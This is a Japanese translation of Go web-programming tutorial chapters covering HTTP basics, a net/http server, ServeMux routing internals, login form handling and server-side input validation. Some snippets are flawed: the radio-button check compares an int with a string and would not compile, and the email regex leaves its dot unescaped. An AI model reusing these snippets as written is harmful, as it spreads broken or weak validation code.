Accept-Encoding：gzip,deflate,sdch       //ストリーム圧縮をサポートするか否か
Accept-Charset：UTF-8,*;q=0.5        //クライアントの文字コードセット
//空行、リクエストヘッダとボディを分けるために使われます。
//ボディ、リソースへのリクエストのオプション、例えばPOSTが渡すオプション

HTTPプロトコルはサーバに対して交互にリクエストを送る方法が定義されています。基本は四種類。GET,POST,PUT,DELETEです。ひとつのURLアドレスはひとつのネットワーク上のリソースを描写しています。またHTTPの中のGET, POST, PUT, DELETEはこのリソースの検索、修正、増加、削除の４つの操作に対応しています。よく見かけるのはGETとPOSTです。GETは一般的にリソースの情報を取得/検索するために用いられ、POSTはリソース情報を更新するために用いられます。

fiddlerパケットキャプチャを通して下のようなリクエスト情報を見ることができます。

図3.4 fiddlerがキャプチャしたGET情報

図3.5 fiddlerがキャプチャしたPOST情報

GETとPOSTの区別を見てみましょう。

GETリクエストのボディが空であることがわかります。POSTリクエストにはボディがあります。

GETが入力するデータはURLの後に置かれます。?によってURLと渡すデータを分割します。オプションの間は&で繋ぎます。例えばEditPosts.aspx?name=test1&id=12345。POSTメソッドは入力するデータをHTTPパケットのBodyの中に置きます。

GETが入力するデータの大きさには制限があります。（ブラウザのURLに対する長に制限があるためです。）またPOSTメソッドで入力するデータには制限がありません。

GETメソッドで入力されたデータはセキュリティの問題を引き起こします。例えばログイン画面があったとして、GETメソッドでデータを入力した場合、ユーザ名とパスワードはURL上にあらわれてしまうことになります。もしページがバッファリングされていたり他の人によっがこのマシンにアクセスすることができれば、ヒストリログからこのユーザのアカウントとパスワードを取得することができてしまいます。

HTTPレスポンスパケット（サーバ情報）

HTTPのresponseパケットを見てみることにしましょう。構造は以下のとおりです：

HTTP/1.1 200 OK                     //ステータス行
Server: nginx/1.0.8                 //サーバが使用するWEBソフトウェアの名称及びバージョン
Date:Date: Tue, 30 Oct 2012 04:14:25 GMT        //送信時刻
Content-Type: text/html             //サーバが送信するデータの型
Transfer-Encoding: chunked          //送信するHTTPパケットが分解されることを表しています。
Connection: keep-alive              //コネクション状態の保持
Content-Length: 90                  //ボディの内容の長さ
//空行　ヘッダとボディを分けるために使われます。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"... //ボディ

レスポンスパケットの第一行はステータス行と呼ばれ、HTTPプロトコルバージョン番号、ステータスコード、及びステータスメッセージの３つの部分から構成されています。

ステータスコードはHTTPクライアントにHTTPサーバが事前にResponseを発生させるか伝えます。HTTP/1.1プロトコルでは５種類のステータスコードが定義されています。ステータスコードは3桁の数字で表されます。はじめの数字はレスポンスの型を定義しています。

1XX 情報の表示 - リクエストの取得に成功しました。継続して処理します。

2XX 成功 - リクエストの取得に成功しました。わかりました。受け付けます。

3XX リダイレクション - リクエストを完了させる為に一歩進んだ処理が必要です。

4XX クライアントエラー - リクエストにシンタックスエラーまたはリクエストを実現できません。

5XX サーバーエラー - サーバは合法なリクエストを実現できません。

下の図で詳細なレスポンス情報について説明しております。左側にたくさんのリソースのレスポンスコードを見ることができます。200は通常です。正常なデータであることを意味しています。302ははリダイレクトを意味します。response headerの中には詳細な情報が展開されています。

図3.6 ホームページに一度訪問した場合のリクエスト情報のすべて

HTTPプロトコルはステートレスでConnection: keep-aliveの区別

ステートレスとはプロトコルがタスク処理に対して記憶力を有していないことを意味します。サーバはクライアントがどんな状態にあるか知らず、別の角度から言えば、サーバ上のホームページを開いたのと、あなたが以前このサーバ上のホームページを開いた事との間には何の関係もないことを意味しています。

HTTPはステートレスなコネクション指向のプロトコルです。ステートレスとはHTTPがTCP接続を保持していないことを意味するものではありません。また、HTTPがUDPプロトコルを使っていることを示すものでもありません。（コネクションロスに対して）

HTTP/1.1から、デフォルトでKeep-Aliveがオンになっており、接続性が保持されます。簡単にいえば、あるホームページを開き終わった後、クライアントとサーバの間ではHTTPデータを転送するためのTCP接続は閉じません。もしクライアントが再度このサーバ上のホームページを開いた場合、すでに確立されたTCP接続を継続して使用し得ます。

Keep-Aliveは永久にコネクションを保持するものではありません。これには保持する時間があります。異なるサーバソフトウェア（例えばApache）ではこの時間を設定することができます。

リクエスト実例

図3.7 一回の要求のrequestとresponse

上の図で全体の通信プロセスをご理解いただけるかと思います。同時に注意深い読者はひとつのURLリクエストにもかかわらず左のペインではどうしてこのように多くのリソース要求があるのかと思われたかもしれません。（これらはすべて静的なファイルです。goは静的なファイルに対して専門的に処理する方法を有しています。）

これはブラウザの機能の一つです。URLを一度要求すると、サーバはhtmlページを返します。その後ブラウザはHTMLを読み取り、HTMLのDOMの中にあるイメージリンク、cssスクリプトとjsスクリプトのリンクを見つけた時、ブラウザは自動的に静的なリソースのHTTP要求を行います。目的の静的なリソースを取得すると、ブラウザは読み始めます。最後にすべてのリソースを整理し、我々の前のスクリーン上に展開します。

ホームページの改良では、HTTPのリクエスト回数を減らすことがあります。つまり、なるべく多くのcssとjsリソースを同じところに集めるのです。目的は出来る限りホームページの静的リソースのリクエスト回数を減少させる事にあります。ホームページの表示速度を上げると同時にサーバのバッファリングを減らす事ができます。

Generated by md2min

3.2 Goで簡単なWebサーバを立てる

httpパッケージでWebサーバを立てる

前の節でWebはhttpプロトコルに基づいたサービスであるとご紹介しました。Go言語では完全なnet/httpパッケージを提供しています。httpパッケージを通して実行できるWebサービスを非常に簡単に立ち上げる事ができます。同時にこのパッケージを使用することで、簡単にWebのルーティング、静的なファイル、テンプレート、cookie等のデータに対して設定と操作を行うことができます。

httpパッケージでWebサーバを立てる

package main

import (
    "fmt"
    "net/http"
    "strings"
    "log"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()  //オプションを解析します。デフォルトでは解析しません。
    fmt.Println(r.Form)  //このデータはサーバのプリント情報に出力されます。
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
            fmt.Fprintf(w, "Hello astaxie!") //ここでwに入るものがクライアントに出力されます。
}

func main() {
    http.HandleFunc("/", sayhelloName) //アクセスのルーティングを設定します。
    err := http.ListenAndServe(":9090", nil) //監視するポートを設定します。
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

上のコードはbuildした後、web.exeを実行した際、9090ポートでhttpリンクリクエストを監視します。

ブラウザでhttp://localhost:9090を入力してください。

ブラウザでHello astaxie!と出力されたのが見えたかと思います。

アドレスを変えて試してみましょう：http://localhost:9090/?url_long=111&url_long=222

ブラウザで出力されたものは何でしょうか。サーバは何と出力していますか？

サーバで出力される情報は以下の通りです：

図3.8 ユーザがWebにアクセスしてサーバが出力する情報

上のコードでWebサーバを書くためにはhttpパッケージの２つの関数を呼ぶだけで良いことがわかります。

もしあなたが以前PHPプログラマであれば。こう問うかもしれません。我々のnginx、apacheサーバは必要ないのですかと？なぜならこいつは直接tcpポートを関ししますので、nginxがｓやることをやってくれます。またsayhelloNameは実は我々が書いたロジック関数ですので、phpの中のコントローラ（controller）関数に近いものです。

もしあなたがPythonプログラマであったのなら、tornadoを聞いたことがあると思います。このコードはそれとよく似ていませんか？ええ、その通りです。GoはPythonのような動的な言語によく似た特性を持っています。Webアプリケーションを書くにはとても便利です。

もしあなたがRubyプログラマであったのなら、RORの/script/serverを起動したのと少し似ている事に気づいたかもしれません。

Goを通じて簡単な数行のコードでwebサーバを立ち上げることができました。さらにこのWebサーバの内部ではマルチスレッドの特性をサポートしています。続く２つの節でGoが以下にWebのマルチスレッドを実現しているのか細かくご紹介します。

Generated by md2min

3.3 GoはどのようにしてWeb作業を行うか

webの作業方法のいくつかの概念

httpパッケージが実行する機能を分析する

前の節でどのようにGoを通じてWebサービスを立てるかご紹介しました。net/httpパッケージを簡単に応用して便利に立てることができたかと思います。では、Goは低レイヤーで一体何を行なっているのでしょうか？万物は姿を変えてもその元は同じであります。GoのWebサービス作業も第一章でご紹介したWebの作業方法に関係しています。

webの作業方法のいくつかの概念

以下はどれもサーバの概念のいくつかです

Request：ユーザが要求するデータ。ユーザのリクエスト情報を解析します。post、get、cookie、url等の情報を含みます。

Response：サーバがクライアントにデータをフィードバックする必要があります。

Conn：ユーザの毎回のリクエストリンクです。

Handler：リクエストを処理し、返すデータを生成する処理ロジック。

httpパッケージが実行する機能を分析する

下の図はGoが実現するWebサービスの作業モードのプロセス図です

図3.9 httpパッケージの実行フロー

Listen Socketを作成し、指定したポートを関しします。クライアントのリクエストを待ちます。

Listen Socketはクライアントのリクエストを受け付けます。Client Socketを得ると、Client Socketを通じてクライアントと通信を行います。

クライアントのリクエストを処理します。まず、Client SocketからHTTPリクエストのプロトコルヘッダを読み取り、もしPOSTメソッドであれば、クライアントが入力するデータをさらに読み取るかもしれません。その後対応するhandlerがリクエストを処理します。handlerがクライアントの要求するデータを準備し終えたら、Client Socketを通じてクライアントに書き出します。

この全体のプロセスでは３つの問題についてだけ理解しておけば構いません。これはまたGoがいかにしてWebを実行するのかということを知るという意味です。

どのようにポートを監視するか？

クライアントのリクエストをどのように受け付けるか？

handlerにどのように受け渡すか？

前の節のコードではGoは関数ListenAndServeを通してこれらの事を処理していました。ここでは実はこのように処理しています：serverオブジェクトを初期化します。その後net.Listen("tcp", addr)をコールします。つまり、低レイヤでTCPプロトコルを用いてサービスを立ち上げます。その後我々が設定したポートを監視します。

下のコードはGoのhttpパッケージのソースコードから引用したものです。下のコードで全体のHTTP処理プロセスを見ることができます。

func (srv *Server) Serve(l net.Listener) error {
    defer l.Close()
    var tempDelay time.Duration // how long to sleep on accept failure
    for {
        rw, e := l.Accept()
        if e != nil {
            if ne, ok := e.(net.Error); ok && ne.Temporary() {
                if tempDelay == 0 {
                    tempDelay = 5 * time.Millisecond
                } else {
                    tempDelay *= 2
                }
                if max := 1 * time.Second; tempDelay > max {
                    tempDelay = max
                }
                log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay)
                time.Sleep(tempDelay)
                continue
            }
            return e
        }
        tempDelay = 0
        c, err := srv.newConn(rw)
        if err != nil {
            continue
        }
        go c.serve()
    }
}

監視した後どのようにしてクライアントのリクエストを受け取るのでしょうか？上のコードではポートの監視を実行後、srv.Serve(net.Listener)関数をコールしています。この関数はクライアントのリクエスト情報を処理しています。この関数ではfor{}が置かれており、まずListenerを通じてリクエストを受け取った後、Connを作成します。最後に単独のgoroutineを開きます。このリクエストのデータを引数としてこのconnに渡します。：go c.serve()。これはマルチスレッドを行なっています。ユーザが行うリクエストはすべて真新しいgoroutineの上で行われ、互いに影響しません。

ではいかにして具体的に目的の関数でリクエストを処理するように振り分けるのでしょうか？connはまずrequestを解析します：c.readRequest()、その後目的のhandlerを取得します：handler := c.server.Handler、つまり、我々がさきほどListenAndServeをコールした時、その２つ目の引数です。前の例でnilを渡したのですが、これは空ということです。デフォルトでhandler = DefaultServeMuxを取得します。この変数は一体何に使われるのでしょうか？そうです。この変数はルータです。これはマッチするurlを対応するhandler関数にリダイレクトするために用いられます。我々はこれを設定したでしょうか？ええ。我々がコールしたコードのいの一番でhttp.HandleFunc("/", sayhelloName)をコールしたじゃないですか。これは/をリクエストするルートのルールを登録します。urlが“/”をリクエストした場合、ルートは関数sayhelloNameにリダイレクトします。DefaultServeMuxはServeHTTPメソッドをコールします。このメソッド内では実はsayhelloName本体をコールしています。最後にresponseの情報を入力することで、クライアントにフィードバックを返します。

全体のフローの詳細は以下の図の通りです：

図3.10 http接続の処理フロー

ここに来て我々は３つの問題に対して全て解答を得ました。Goが如何にWebを走らせるか、すでに基本的なことは理解されたのではないでしょうか？

Generated by md2min

3.4 Goのhttpパッケージ詳細

Connのgoroutine

ServeMuxのカスタム定義

Goのコードの実行プロセス

前の節でGoが如何にWebの作業モードを実現するかフローをご紹介しました。この節では、httpパッケージを詳しく解剖していきます。これはどのように全体のプロセスを実現しているのでしょうか。

Goのhttpには２つのコアとなる機能があります：Conn、ServeMux

Connのgoroutine

我々が普段書くhttpサーバとは異なり、Goはマルチスレッドと高い性能を実現するため、goroutinesを使ってConnのイベント読み書きを処理します。これによって各リクエストは独立性を保持することができます。互いにブロックせず、効率よくネットワークイベントにレスポンスすることができます。これがGoに高い効率を保証します。

Goがクライアントのリクエストを待ち受けるには以下のように書きます：

c, err := srv.newConn(rw)
if err != nil {
    continue
}
go c.serve()

クライアントの各リクエストはどれもConnを一つ作成しているのがわかるかと思います。このConnには今回のリクエストの情報が保存されています。これは目的のhandlerに渡され、このhandlerで目的のhandler情報を読み取ることができます。このように各リクエストの独立性を保証します。

ServeMuxのカスタム定義

前の節でconn.serverについてご説明した際、拾は内部ではhttpパッケージのデフォルトのルートをコールしていました。ルータを通して今回のリクエストのデータをバックエンドの処理関数に渡します。ではこのルータはどのように実現されているのでしょうか？

構造は以下のとおりです：

type ServeMux struct {
    mu sync.RWMutex   //ミューテックス、リクエストがマルチスレッド処理に及んだことでミューテックス機構が必要になります。
    m  map[string]muxEntry  // ルーティングルール、一つのstringがひとつのmuxエンティティに対応します。ここではstringは登録されるルーティングを表現しています。
    hosts bool // 任意のルールにhost情報が含まれているか
}

以下でmuxEntryを見てみましょう

type muxEntry struct {
    explicit bool   // 精確にマッチするか否か
    h        Handler // このルーティング式はどのhandlerに対応するか
    pattern  string  //マッチング文字列
}

次にHandlerの定義を見てみましょう。

type Handler interface {
    ServeHTTP(ResponseWriter, *Request)  // ルーティング実現器
}

Handlerはインターフェースですが、前の節の中のsayhelloName関数では特にServeHTTPというインターフェースを実装してはいませんでした。どうして追加できるのでしょうか？もともとhttpパッケージの中ではHandlerFuncという型が定義されています。私達が定義したsayhelloName関数はまさにこのHandlerFuncがコールされた結果であり、この型はデフォルトでServeHTTPインターフェースを実装していることになります。つまり、HandlerFunc(f)をコールして強制的にfをHandlerFunc型に型変換しているのです。このようにしてfはServeHTTPメソッドを持つようになります。

type HandlerFunc func(ResponseWriter, *Request)

// ServeHTTP calls f(w, r).
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
    f(w, r)
}

ルータでは対応するルーティングルールを保存した後、具体的にはどのようにリクエストを振り分けているのでしょうか？以下のコードをご覧ください。デフォルトのルータはServeHTTPを実装します：

func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
    if r.RequestURI == "*" {
        w.Header().Set("Connection", "close")
        w.WriteHeader(StatusBadRequest)
        return
    }
    h, _ := mux.Handler(r)
    h.ServeHTTP(w, r)
}

上に示す通りルータはリクエストを受け取った後、*であれば接続を切断し、そうでなければmux.handler(r).ServeHTTP(w, r)をコールして対応する設定された処理Handlerを返し、h.ServeHTTP(w, r)を実行します。

つまり、目的のルーティングのhandlerのServerHTTPインターフェースへのコールです。ではmux.Handler(r)はどのように処理するのでしょうか？

func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) {
    if r.Method != "CONNECT" {
        if p := cleanPath(r.URL.Path); p != r.URL.Path {
            _, pattern = mux.handler(r.Host, p)
            return RedirectHandler(p, StatusMovedPermanently), pattern
        }
    }
    return mux.handler(r.Host, r.URL.Path)
}

func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) {
    mux.mu.RLock()
    defer mux.mu.RUnlock()

    // Host-specific pattern takes precedence over generic ones
    if mux.hosts {
        h, pattern = mux.match(host + path)
    }
    if h == nil {
        h, pattern = mux.match(path)
    }
    if h == nil {
        h, pattern = NotFoundHandler(), ""
    }
    return
}

もともとこれはユーザのリクエストしたURLとルータの中に保存されているmapに従ってマッチングしています。マッチングによって保存されているhandlerが返されるにあたり、このhandlerのServeHTTPインターフェースがコールされ、目的の関数を実行することができます。

上の紹介を通して、私達はルーティングの全体プロセスを理解しました。Goは実は外部で実装されたルータをサポートしています。ListenAndServeの第2引数が外部のルータを設定する為に用いられます。これはHandlerインターフェースのひとつで、外部ルータでHandlerインターフェースを実装し、そのServeHTTPにカスタム定義のルーティング機能を実装することができます。

下のコードを通して、自分自身で簡単なルータを実装してみます。

package main

import (
    "fmt"
    "net/http"
)

type MyMux struct {
}

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    http.NotFound(w, r)
    return
}

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello myroute!")
}

func main() {
    mux := &MyMux{}
    http.ListenAndServe(":9090", mux)
}

Goのコードの実行プロセス

httpパッケージへの分析を通して、全体のコードの実行プロセスを整理してみましょう。

まずHttp.HandleFuncをコールします。

順序にしたがっていくつかの事を行います：

1 DefaultServeMuxのHandlerFuncをコールする。

2 DefaultServeMuxのHandleをコールする。

3 DefaultServeMuxのmap[string]muxEntryで目的のhandlerとルーティングルールを追加する。

次にhttp.ListenAndServe(“:9090”, nil)をコールする。

順序にしたがっていくつかの事を行う：

1 Serverのエンティティ化

2 ServerのListenAndServe()をコールする

3 net.Listen(“tcp”, addr)をコールし、ポートを監視する

4 forループを起動し、ループの中でリクエストをAcceptする

5 各リクエストに対してConnを一つエンティティ化し、このリクエストに対しgoroutineを一つ開いてgo c.serve()のサービスを行う。

6 各リクエストの内容を読み込むw, err := c.readRequest()

7 handlerが空でないか判断する。もしhandlerが設定されていなければ（この例ではhandlerは設定していません）、handlerはDefaultServeMuxに設定されます。

8 handlerのServeHttpをコールする

9 この例の中では、この後DefaultServeMux.ServeHttpの中に入ります

10 requestに従ってhandlerを選択し、このhandlerのServeHTTPに入ります

mux.handler(r).ServeHTTP(w, r)

11 handlerを選択します：

A ルータがこのrequestを満足したか判断します（ループによってServerMuxのmuxEntryを走査します。）

B もしルーティングされれば、このルーティングhandlerのServeHttpをコールします。

C ルーティングされなければ、NotFoundHandlerのServeHttpをコールします

Generated by md2min

3.5 まとめ

この章ではHTTPプロトコル、DNS名前解決のプロセス、どのようにしてgoで簡単なweb serverを実装するかご紹介しました。net/httpパッケージのソースコードに触れるうちにこのserverを実装する秘密についてお分かりいただけたかと思います。

この章の学習を通じて、GoによるWeb開発の初歩をご理解いただければ幸いです。我々はまた対応するコードを見ることでGoでWebアプリケーションを開発することがとても便利でまた相当柔軟であると分かりました。

Generated by md2min

4 フォーム

目次

フォームは我々が普段Webアプリケーションを書く時によく使うツールです。フォームを通して便利にユーザにサーバとデータをやり取りさせることができます。以前にWeb開発をしたことのあるユーザにとってはフォームはとてもお馴染みのものです。しかしC/C++のプログラマからすると、少々ばかり門外漢かもしれません。フォームとは一体何でしょうか？

フォームは表の要素を含むエリアです。フォームの要素はユーザがフォームの中で（例えば、テキストフィールド、コンボボックス、チェックボックス、セレクトボックス等です。）情報を入力する要素です。フォームはフォームタグ（<form>）で定義します。

<form>
...
input 要素
...
</form>

Goではformの処理にすでにとても簡単な方法が用意されています。Requestの中にformを専門に処理するものがあります。とても簡単にWeb開発に利用できるものです。4.1節の中でGoがどのようにフォームの入力を処理するかご説明します。いかなるユーザの入力も信用はできないので、これらの入力に対しバリデーションを行う必要があります。4.2節ではどのように普通のバリデーションを行うか、細かいデモンストレーションを行います。

HTTPプロトコルはステートレスなプロトコルです。ではどのようにして一人のユーザを同定するのでしょうか？また、フォームが複数回送信されてしまわないように保証するにはどうするのでしょうか？4.3と4.4節ではcookie(cookieはクライアントに保存される情報です。handlerとサーバを通る度にやり取りされるデータです。）等をより詳しくご紹介します。

フォームにはもうひとつ、ファイルをアップロードできるという大きな機能があります。Goはファイルのアップロードをどのように処理しているのでしょうか？大きなファイルをアップロードする際効率よく処理するにはどうすればよいでしょうか？4.5節ではGoによるファイルのアップロード処理の知識を一緒に勉強します。

目次

Generated by md2min

4.1 フォームの入力を処理する

まずフォームによる送信の例を見てみましょう。以下のようなフォームの内容があるとします。login.gtplというファイルを新規作成します。（新しくディレクトリを作ってその中に入れてください）

<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
    ユーザ名:<input type="text" name="username">
    パスワード:<input type="password" name="password">
    <input type="submit" value="ログイン">
</form>
</body>
</html>

上で送信されるフォームはサーバの/loginに渡ります。ユーザが情報を入力し、ログインをクリックした後、サーバのルーティングのloginにリダイレクトします。まずはこの送信が何のメソッドによるものか判断する必要があります。POSTでしょうかGETでしょうか？

httpパッケージではとても簡単な方法で取得することができます。前のwebの例を基礎にloginページのformデータをどのように処理するか見てみましょう。

package main

import (
    "fmt"
    "html/template"
    "log"
    "net/http"
    "strings"
)

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()       //urlが渡すオプションを解析します。POSTに対してはレスポンスパケットのボディを解析します（request body）
    //注意：もしParseFormメソッドがコールされなければ、以下でフォームのデータを取得することができません。
    fmt.Println(r.Form) //これらのデータはサーバのプリント情報に出力されます
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") //ここでwに書き込まれたものがクライアントに出力されます。
}

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //リクエストを取得するメソッド
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, nil)
    } else {
        //ログインデータがリクエストされ、ログインのロジック判断が実行されます。
        fmt.Println("username:", r.Form["username"])
        fmt.Println("password:", r.Form["password"])
    }
}

func main() {
    http.HandleFunc("/", sayhelloName)       //アクセスのルーティングを設定します
    http.HandleFunc("/login", login)         //アクセスのルーティングを設定します
    err := http.ListenAndServe(":9090", nil) //監視するポートを設定します
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}

上のコードにおいてリクエストを取得するメソッドはr.Methodを通じて完了することがわかります。これは文字列型の変数です。GET, POST, PUT等のmethod情報を返します。

login関数ではr.Methodに従ってログイン画面を表示するのかログインロジックを処理するのかが判断されます。GETメソッドによるリクエストの場合はログイン画面を表示し、その他のメソッドによるリクエストではログインロジックを処理します。例えばデータベースを検索したり、ログイン情報を検証したりといった事です。

ブラウザでhttp://127.0.0.1:9090/loginを開いた時に以下のような画面が現れます。

図4.1 ユーザログイン画面

我々がユーザ名とパスワードを入力しても、サーバは何も出力しません。なぜでしょうか？デフォルトでは、Handlerの中ではformの内容を自動的に解析しないからです。必ず明示的にr.ParseForm()をコールした後でなければ、このフォームのデータに対して操作を行うことはできません。コードを少し修正して、fmt.Println("username:", r.Form["username"])の前にr.ParseForm()という一行を追加してください。再コンパイルしてもう一度入力、送信してみると、今度はサーバがあなたの入力したユーザ名とパスワードを出力するはずです。

r.Formでは全てのリクエストのデータが含まれています。例えばURLの中のquery-string、POSTのデータ、PUTのデータなどです。URLのquery-stringフィールドとPOSTが衝突する場合はsliceに保存されます。これには複数の値が保存されています。Goのオフィシャルドキュメントでは次のバージョンでPOST、GETといったデータは分離されると述べています。

ではlogin.gtplのformのaction値であるhttp://127.0.0.1:9090/loginをhttp://127.0.0.1:9090/login?username=astaxieに変更してもういちど試してみましょう。サーバが出力するusernameはsliceになっていませんか。サーバの出力は以下のようになります：

図4.1 サーバが受け取ったデータを表示

request.Formはurl.Values型です。この中にはkey=valueのような対応するデータが保存されています。ここではformデータに対していくつかの操作をご紹介します：

v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])

Tips: RequestそのものもFormValue()関数でユーザが送信したデータを取得できます。例えばr.Form[“username”]はr.FormValue(“username”)とも書けます。r.FormValueをコールした時は自動的にr.ParseFormがコールされますので、事前にコールする必要はありません。r.FormValueは同名のデータの中から一つ目のものだけを返します。もしデータが存在しない場合は空文字列を返します。

Generated by md2min

4.2 フォームに入力された内容の検証

必須フィールド

数

中国語

英語

メールアドレス

携帯電話番号

プルダウンメニュー

ラジオボタン

チェックボックス

日付と時間

身分証明書番号

Web開発の原則はユーザが入力したいかなる情報も信用してはならないということです。そのため、ユーザの入力した情報を検証しフィルターすることは非常に重要になってきます。ブログやニュースの中でどこそこのホームページがハッキングされたりセキュリティホールが存在するといったことをよく聞くかもしれません。これらの大部分はユーザの入力した情報に対してホームページが厳格な検証を行わなかった事によるものです。そのため、安全なWebプログラムを書くために、フォームの入力を検証する意義は非常に大きいのです。

Webアプリケーションを書く時は主に２つの方面のデータ検証があります。ひとつはページ上でのjsによる検証で（現在この方面では多くのプラグインがあります。例えばValidationJSプラグインなどがそうです）、もうひとつはサーバ側での検証です。この節ではどのようにサーバでの検証を行うか解説します。

必須フィールド

あるフォーム要素から一つの値を取り出したいとします。例えば、前の節のユーザ名はどのように処理するのでしょうか？Goにはbuiltin関数lenがあり、文字列の長さを得ることができます。lenを使ってデータの長さを測ることができます。例えば：

if len(r.Form["username"][0])==0{
    //空だった場合の処理
}

r.Formは異なる型のフォーム要素の空白に対して異なる処理を行います。空のテキストフィールド、テキストエリアおよびファイルアップロードに対して、その要素の値を空にします。また選択されていないコンボボックスやセレクトボックスr.Formの中にはそもそもその項目を作りません。上の例の中の方法でデータを取得した時プログラムはエラーを発生させます。そのため、r.Form.Get()を使って値を取る必要があります。なぜなら、もしフィールドが存在しなかった場合、この方法で取得すると空の値を得るからです。ですが、r.Form.Get()は単体の値しか得ることができません。もしmapの値であれば、かならず上の方法で得る必要があります。

数

たとえば、フォームからある人の年齢が50歳や10歳といった具体的な値を必要としていて、“おっさん”とか“若者”というようなものでなかったとします。このようにフォームの入力フィールドの中で数字のみを許容するようにさせたい場合、整数かどうかを判断するために、まずint型に変換を行ってから処理を行います。

正の整数を判断しようとする場合は、まずint型に変換してから処理を行います

getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
    //数の変換でエラーが発生。つまり、数字ではありません。
}

//次にこの数の取りうる範囲を判断します。
if getint >100 {
    //大きすぎる
}

もう一つの方法は正規表現による方法です。

if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
    return false
}

性能の高さを必要とするユーザからすれば、これはよく話題にのぼる問題です。彼らはなるべく正規表現を避けるべきだと考えています。なぜなら正規表現の速度は一般的に遅いからです。しかし現在のようにコンピュータの性能がこれほど発達した時代では、このように簡単な正規表現の効率と型変換関数の間ではそれほど大きな差はありません。もしあなたが正規表現に詳しく、他の言語でも使用されているのであれば、Goの中で正規表現を使うのは便利な方法の一つです。

Goの正規表現の実装はRE2です。すべての文字はUTF-8エンコーディングです。

中国語

フォームの要素からユーザの中国語名を得たい場合で、なおかつ正しい中国語であることを保証したい場合、検証を行う必要があります。ユーザに自由に入力はさせません。中国語に対する有効な検証には、unicode パッケージが提供する func Is(rangeTab *RangeTable, r rune) bool と正規表現を使う方法があります。下のコードをご確認ください

if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {
    return false
}

英語

あるユーザの英語名を知りたいときなど、フォームの要素から英語の値を取り出したい場合は、astaxieであってasta谢ではないはずです。（訳注:「谢」はピンインでxieと書く）

簡単な正規表現を使ってデータを検証することができます：

if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
    return false
}

メールアドレス

ユーザが入力したEmailアドレスが正しいか確認したい場合は以下のような方法で検証できます：

if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
    fmt.Println("no")
}else{
    fmt.Println("yes")
}

携帯電話番号

ユーザが入力した携帯電話番号が正しいか判断したい場合は以下の正規表現で検証できます（訳注：中国の携帯電話番号）：

if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
    return false
}

プルダウンメニュー

フォームの中の<select>要素が生成するプルダウンメニューにおいて、ハッカーは時々このプルダウンメニューに無い項目を偽造してあなたに送りつけるかもしれません。このような場合値がもともと設定されたものであることを判断するにはどうすればよいでしょうか？

selectには以下の要素があるとします：

<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banane">banane</option>
</select>

この場合は以下のように検証することができます

slice:=[]string{"apple","pear","banane"}

for _, v := range slice {
    if v == r.Form.Get("fruit") {
        return true
    }
}
return false

ラジオボタン

男と女という性別の選択肢を出力するようなラジオボタンで、どれかが選択されているか判断するとします。15歳の退屈な少年がhttpプロトコルの本を片手にtelnetクライアントからあなたのプログラムに対してリクエストを送信したとしましょう。あなたは男に1を、女に2を設定していて、彼が3という値を送信した場合、あなたのプログラムは例外を出すでしょうか？プルダウンメニューの判断と同じように我々が得ようとしている値がそもそも設定されたものであるかを判断しなければなりません。

<input type="radio" name="gender" value="1">男
<input type="radio" name="gender" value="2">女

プルダウンメニューの方法と同じように行うことができます

slice:=[]int{1,2}

for _, v := range slice {
    if v == r.Form.Get("gender") {
        return true
    }
}
return false

チェックボックス

趣味を選択するチェックボックスがあり、ユーザが選択したものとあなたがユーザに提供した選択が同じ型のデータであることを保証する場合

<input type="checkbox" name="interest" value="football">サッカー
<input type="checkbox" name="interest" value="basketball">バスケットボール
<input type="checkbox" name="interest" value="tennis">テニス

チェックボックスではラジオボタンの時とくらべ検証方法が少し異なります。受け取るデータはsliceだからです。

slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
    return true
}

return false

上のSlice_diffという関数には私のオープンソースのライブラリが含まれます（sliceとmapを操作するライブラリ）https://github.com/astaxie/beeku

日付と時間

ユーザが入力した日時が有効か確認したいとします。例えば 、ユーザがスケジュールで8月45日にパーティを開く予定を入力したり、未来の時間を誕生日にしてみたりといった場合です。

Goではtimeの処理パッケージを提供しています。ユーザの入力した年月日を目的の時間に変換してから、判断を行います。

